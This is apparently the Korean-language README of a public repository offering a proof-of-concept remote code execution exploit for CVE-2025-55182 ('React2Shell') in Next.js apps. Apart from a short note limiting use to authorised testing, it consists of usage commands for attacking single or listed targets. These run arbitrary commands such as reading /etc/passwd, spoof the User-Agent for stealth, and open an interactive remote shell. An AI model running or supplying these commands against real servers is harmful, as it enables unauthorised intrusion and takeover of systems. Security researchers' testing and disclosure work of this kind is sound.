
CVE-2025-55182 – React2Shell: Next.js 앱을 위한 개념 증명(Proof-of-Concept) 원격 코드 실행(RCE) 익스플로잇입니다. 취약점을 실시간으로 테스트하고 시연할 수 있는 대화형 셸 프롬프트를 제공합니다. 보안 연구 및 승인된 침투 테스트에만 사용하십시오.
이 저장소는 Next.js 일부 배포 환경에 영향을 주는 RCE 취약점인 CVE-2025-55182에 대한 작동하는 개념 증명(PoC)을 제공합니다. 이 도구는 익스플로잇 성공 시 대화형 셸 프롬프트를 열어 보안 연구자들이 취약점의 실현 가능성을 테스트하고 검증할 수 있게 합니다. 책임감 있게, 승인된 대상에 대해서만 사용하십시오.
# Getting Started
git clone https://github.com/M4xSec/CVE-2025-55182-React2Shell-RCE-Shell/
cd /CVE-2025-55182-React2Shell-RCE-Shell/
python3 CVE-2025-55182-exploit.py
# Single target (default mode)
python3 CVE-2025-55182-exploit.py -u http://target.com
# Target on localhost + specify callback / proxy URL (if applicable)
python3 CVE-2025-55182-exploit.py -u http://localhost:3000 -p http://127.0.0.1:8080
# Use HTTPS target and skip certificate verification (if applicable)
python3 CVE-2025-55182-exploit.py -u https://target.com -k
# Batch mode: supply list of targets (one per line)
python3 CVE-2025-55182-exploit.py -l targets.txt
# Custom command execution on target
python3 CVE-2025-55182-exploit.py -u http://target.com --custom "id"
python3 CVE-2025-55182-exploit.py -u http://target.com --custom "cat /etc/passwd"
python3 CVE-2025-55182-exploit.py -u http://target.com --custom "uname -a" -v
# Provide additional headers if needed (e.g. custom cookies)
python3 CVE-2025-55182-exploit.py -u http://target.com -H "Cookie: session=abc123" --custom "ps aux"
# Batch + custom commands (multiple commands separated with semicolon)
python3 CVE-2025-55182-exploit.py -l targets.txt --custom "whoami; id; pwd"
# Only output the payload without executing (payload-only mode)
python3 CVE-2025-55182-exploit.py -u http://target.com --custom "cat /etc/passwd" --payload-only
# Use a random User-Agent header for evasion / stealth
python3 CVE-2025-55182-exploit.py -u http://target.com --random-agent
python3 CVE-2025-55182-exploit.py -l targets.txt --random-agent -k
# Interactive shell mode (if exploit succeeds)
python3 CVE-2025-55182-exploit.py -u http://target.com --shell